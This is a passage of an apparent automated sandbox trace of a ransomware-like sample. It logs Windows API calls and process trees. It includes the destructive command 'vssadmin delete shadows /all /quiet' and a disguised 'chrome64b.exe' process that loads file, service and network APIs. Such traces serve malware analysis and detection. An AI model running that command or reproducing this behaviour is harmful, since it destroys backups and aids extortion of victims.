fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0x259ba0 [0035.195] FindClose (in: hFindFile=0x259ba0 | out: hFindFile=0x259ba0) returned 1 [0035.196] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0xffffffffffffffff [0035.196] GetLastError () returned 0x2 [0035.196] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x18ec10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec10) returned 0x259ba0 [0035.196] FindClose (in: hFindFile=0x259ba0 | out: hFindFile=0x259ba0) returned 1 [0035.196] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0035.196] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0035.196] GetConsoleTitleW (in: lpConsoleTitle=0x18f160, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0035.196] GetProcessHeap () returned 0x240000 [0035.196] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259110 [0035.196] GetConsoleTitleW (in: lpConsoleTitle=0x259120, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0035.196] GetProcessHeap () returned 0x240000 [0035.196] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259110, Size=0xc0) returned 0x259110 [0035.196] GetProcessHeap () returned 0x240000 [0035.196] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259110) returned 0xc0 [0035.196] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0035.197] GetProcessHeap () returned 0x240000 [0035.197] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259110 | out: hHeap=0x240000) returned 1 [0035.197] InitializeProcThreadAttributeList (in: lpAttributeList=0x18ef18, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18eed8 | out: lpAttributeList=0x18ef18, lpSize=0x18eed8) returned 1 [0035.197] UpdateProcThreadAttribute (in: lpAttributeList=0x18ef18, dwFlags=0x0, Attribute=0x60001, lpValue=0x18eec8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18ef18, lpPreviousValue=0x0) returned 1 [0035.197] GetStartupInfoW (in: lpStartupInfo=0x18f030 | out: lpStartupInfo=0x18f030*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0035.197] GetProcessHeap () returned 0x240000 [0035.197] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254640 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.197] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0035.198] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0035.198] GetProcessHeap () returned 0x240000 [0035.198] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254640 | out: hHeap=0x240000) returned 1 [0035.198] GetProcessHeap () returned 0x240000 [0035.198] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x258900 [0035.198] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x18ef50*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ef00 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x18ef00*(hProcess=0x50, hThread=0x54, dwProcessId=0xa24, dwThreadId=0xa28)) returned 1 [0036.588] CloseHandle (hObject=0x54) returned 1 [0036.588] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0036.588] GetProcessHeap () returned 0x240000 [0036.588] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25eb10 | out: hHeap=0x240000) returned 1 [0036.588] GetEnvironmentStringsW () returned 0x25eb10* [0036.588] GetProcessHeap () returned 0x240000 [0036.588] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25f630 [0036.589] FreeEnvironmentStringsW (penv=0x25eb10) returned 1 [0036.589] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x18e808, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x18e808, ReturnLength=0x0) returned 0x0 [0036.589] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd6000, lpBuffer=0x18e840, nSize=0x380, lpNumberOfBytesRead=0x18e800 | out: lpBuffer=0x18e840*, lpNumberOfBytesRead=0x18e800*=0x380) returned 1 [0036.589] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) Process: id = "3" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0x50934000" os_pid = "0x9e8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9bc" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0x9ec Process: id = "4" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0x49e45000" os_pid = "0xa24" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x9bc" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "64" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0xa28 Thread: id = 23 os_tid = 0xab8 Thread: id = 24 os_tid = 0xabc Thread: id = 25 os_tid = 0xac0 Thread: id = 26 os_tid = 0xac4 Process: id = "5" image_name = "vssvc.exe" filename = "c:\\windows\\system32\\vssvc.exe" page_root = "0x43b76000" os_pid = "0xac8" os_integrity_level = "0x4000" os_privileges = "0xe60b7e890" monitor_reason = "rpc_server" parent_id = "4" os_parent_pid = "0xa24" cmd_line = "C:\\Windows\\system32\\vssvc.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00076ccf" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 27 os_tid = 0xae0 Thread: id = 28 os_tid = 0xadc Thread: id = 29 os_tid = 0xad8 [0044.761] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7d760 | out: lpSystemTimeAsFileTime=0xe7d760*(dwLowDateTime=0x90d609d0, dwHighDateTime=0x1d50335)) [0044.761] GetCurrentProcessId () returned 0xac8 [0044.761] GetCurrentThreadId () returned 0xad8 [0044.761] GetTickCount () returned 0x1a90a [0044.761] QueryPerformanceCounter (in: lpPerformanceCount=0xe7d768 | out: lpPerformanceCount=0xe7d768*=16505187118) returned 1 [0044.761] malloc (_Size=0x100) returned 0x278e80 Thread: id = 30 os_tid = 0xad4 Thread: id = 31 os_tid = 0xad0 Thread: id = 32 os_tid = 0xacc Thread: id = 33 os_tid = 0xae4 Thread: id = 47 os_tid = 0xb00 Thread: id = 54 os_tid = 0xb5c Thread: id = 77 os_tid = 0x73c Process: id = "6" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x15f04000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xac8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dc17" [0xc000000f], "LOCAL" [0x7] Thread: id = 34 os_tid = 0xa98 Thread: id = 35 os_tid = 0x76c Thread: id = 36 os_tid = 0x758 Thread: id = 37 os_tid = 0x74c Thread: id = 38 os_tid = 0x72c Thread: id = 39 os_tid = 0x71c Thread: id = 40 os_tid = 0x718 Thread: id = 41 os_tid = 0x638 Thread: id = 42 os_tid = 0x154 Thread: id = 43 os_tid = 0x150 Thread: id = 44 os_tid = 0x12c Thread: id = 45 os_tid = 0x120 Thread: id = 46 os_tid = 0x3fc Thread: id = 55 os_tid = 0xbb0 Thread: id = 75 os_tid = 0x828 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x4317c000" os_pid = "0xae8" os_integrity_level = "0x4000" os_privileges = "0x60814080" monitor_reason = "rpc_server" parent_id = "5" os_parent_pid = "0xac8" cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00077365" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 48 os_tid = 0xb04 Thread: id = 49 os_tid = 0xafc Thread: id = 50 os_tid = 0xaf8 Thread: id = 51 os_tid = 0xaf4 Thread: id = 52 os_tid = 0xaf0 Thread: id = 53 os_tid = 0xaec Thread: id = 78 os_tid = 0x6ec Process: id = "8" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x910c000" os_pid = "0x124" os_integrity_level = "0x4000" os_privileges = "0x60a00000" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x3f8" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e1c4" [0xc000000f], "LOCAL" [0x7] Thread: id = 56 os_tid = 0xa9c Thread: id = 57 os_tid = 0x928 Thread: id = 58 os_tid = 0x86c Thread: id = 59 os_tid = 0x754 Thread: id = 60 os_tid = 0x704 Thread: id = 61 os_tid = 0x6e0 Thread: id = 62 os_tid = 0x6b0 Thread: id = 63 os_tid = 0x698 Thread: id = 64 os_tid = 0x678 Thread: id = 65 os_tid = 0x630 Thread: id = 66 os_tid = 0x610 Thread: id = 67 os_tid = 0x14c Thread: id = 68 os_tid = 0x140 Thread: id = 69 os_tid = 0x158 Thread: id = 70 os_tid = 0x294 Thread: id = 71 os_tid = 0x218 Thread: id = 72 os_tid = 0x230 Thread: id = 73 os_tid = 0x21c Thread: id = 74 os_tid = 0x1c4 Thread: id = 76 os_tid = 0x32c Thread: id = 79 os_tid = 0x7b4 Process: id = "9" image_name = "chrome64b.exe" filename = "c:\\windows\\system32\\chrome64b.exe" page_root = "0xd22c000" os_pid = "0x580" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Windows\\System32\\chrome64b.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e8e9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 80 os_tid = 0x584 [0250.836] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x75030000 [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="GetProcAddress") returned 0x75041222 [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="GetModuleHandleW") returned 0x750434b0 [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="FindNextFileW") returned 0x750454ee [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="FindClose") returned 0x75044442 [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="MoveFileW") returned 0x75059af0 [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="GetFileSizeEx") returned 0x750459e2 [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="GetModuleFileNameW") returned 0x75044950 [0250.836] GetProcAddress (hModule=0x75030000, lpProcName="GetFileAttributesW") returned 0x75041b18 [0250.837] GetProcAddress (hModule=0x75030000, lpProcName="ExitProcess") returned 0x75047a10 [0250.837] GetProcAddress (hModule=0x75030000, lpProcName="GetCommandLineW") returned 0x75045223 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="GetComputerNameW") returned 0x7504dd0e [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="GetComputerNameA") returned 0x7505b6e0 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="CreateMutexW") returned 0x7504424c [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="lstrlenW") returned 0x75041700 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="lstrlenA") returned 0x75045a4b [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="GetCurrentProcess") returned 0x75041809 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="WaitForSingleObject") returned 0x75041136 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="GetLogicalDrives") returned 0x75045371 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="GetTickCount") returned 0x7504110c [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="DeleteFileW") returned 0x750489b3 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="WideCharToMultiByte") returned 0x7504170d [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x75041916 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="Sleep") returned 0x750410ff [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="LeaveCriticalSection") returned 0x77122270 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="ReadFile") returned 0x75043ed3 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="CreateFileW") returned 0x75043f5c [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="OpenMutexW") returned 0x75045151 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="EnterCriticalSection") returned 0x771222b0 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="WaitForMultipleObjects") returned 0x75044220 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="lstrcmpiW") returned 0x7505d5cd [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="lstrcmpiA") returned 0x75043e8e [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="DeleteCriticalSection") returned 0x771345f5 [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="ReleaseMutex") returned 0x7504111e [0250.838] GetProcAddress (hModule=0x75030000, lpProcName="CloseHandle") returned 0x75041410 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="GetVersion") returned 0x75044467 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="CreateThread") returned 0x750434d5 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="ExpandEnvironmentStringsW") returned 0x75044173 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="QueryPerformanceCounter") returned 0x75041725 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="QueryPerformanceFrequency") returned 0x750441f0 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="GetCurrentProcessId") returned 0x750411f8 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="SetFileAttributesW") returned 0x7505d4f7 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="GetVolumeInformationW") returned 0x7505c860 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="WriteFile") returned 0x75041282 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="SetFilePointerEx") returned 0x7505c807 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="SetEndOfFile") returned 0x7505ce2e [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="FindFirstFileW") returned 0x75044435 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="GetProcessHeap") returned 0x750414e9 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="HeapReAlloc") returned 0x77141f6e [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="HeapAlloc") returned 0x7712e026 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="HeapFree") returned 0x750414c9 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="CreatePipe") returned 0x750c415b [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="SetHandleInformation") returned 0x7505195c [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="CreateProcessW") returned 0x7504103d [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="CompareStringW") returned 0x75043bca [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="CompareStringA") returned 0x75043c5a [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="OpenProcess") returned 0x75041986 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="TerminateProcess") returned 0x7505d802 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="GetSystemTime") returned 0x75045a96 [0250.839] GetProcAddress (hModule=0x75030000, lpProcName="SystemTimeToFileTime") returned 0x75045a7e [0250.840] GetProcAddress (hModule=0x75030000, lpProcName="GetLastError") returned 0x750411c0 [0250.840] GetProcAddress (hModule=0x75030000, lpProcName="CreateToolhelp32Snapshot") returned 0x7506735f [0250.840] GetProcAddress (hModule=0x75030000, lpProcName="Process32NextW") returned 0x7506896c [0250.840] GetProcAddress (hModule=0x75030000, lpProcName="Process32FirstW") returned 0x75068baf [0250.840] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x768c0000 [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="RegOpenKeyExW") returned 0x768d468d [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="RegQueryValueExW") returned 0x768d46ad [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="RegSetValueExW") returned 0x768d14d6 [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="RegCloseKey") returned 0x768d469d [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="OpenProcessToken") returned 0x768d4304 [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="GetTokenInformation") returned 0x768d431c [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="OpenSCManagerW") returned 0x768cca64 [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="OpenServiceW") returned 0x768cca4c [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="CloseServiceHandle") returned 0x768d369c [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="ControlService") returned 0x768e7144 [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="QueryServiceStatus") returned 0x768d2a86 [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="EnumDependentServicesW") returned 0x768c1e3a [0250.844] GetProcAddress (hModule=0x768c0000, lpProcName="EnumServicesStatusExW") returned 0x768cb466 [0250.844] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76600000 [0250.850] GetProcAddress (hModule=0x76600000, lpProcName="SystemParametersInfoW") returned 0x766190d3 [0250.850] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75810000 [0250.853] GetProcAddress (hModule=0x75810000, lpProcName="ShellExecuteExW") returned 0x75831e46 [0250.853] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77100000 [0250.853] GetProcAddress (hModule=0x77100000, lpProcName="NtQuerySystemInformation") returned 0x7711fda0 [0250.853] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73650000 [0250.854] GetProcAddress (hModule=0x73650000, lpProcName="WNetCloseEnum") returned 0x73652dd6 [0250.854] GetProcAddress (hModule=0x73650000, lpProcName="WNetOpenEnumW") returned 0x73652f06 [0250.854] GetProcAddress (hModule=0x73650000, lpProcName="WNetEnumResourceW") returned 0x73653058 [0250.854] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x74e60000 [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="WSAStartup") returned 0x74e63ab2 [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="socket") returned 0x74e63eb8 [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="send") returned 0x74e66f01 [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="recv") returned 0x74e66b0e [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="connect") returned 0x74e66bdd [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="closesocket") returned 0x74e63918 [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="gethostbyname") returned 0x74e77673 [0250.855] GetProcAddress (hModule=0x74e60000, lpProcName="inet_addr") returned 0x74e6311b [0250.856] GetProcAddress (hModule=0x74e60000, lpProcName="ntohl") returned 0x74e62d57 [0250.856] GetProcAddress (hModule=0x74e60000, lpProcName="htonl") returned 0x74e62d57 [0250.856] GetProcAddress (hModule=0x74e60000, lpProcName="htons") returned 0x74e62d8b [0250.856] GetProcessHeap () returned 0x590000 [0250.856] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 0x5a4060 [0250.856] QueryPerformanceCounter (in: lpPerformanceCount=0x18fdb8 | out: lpPerformanceCount=0x18fdb8*=6488898780) returned 1 [0250.857] GetTickCount () returned 0x54c3 [0250.857] GetCurrentProcessId () returned 0x580 [0250.857] GetTickCount () returned 0x54c3 [0250.858] GetTickCount () returned 0x54c3 [0250.858] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20) returned 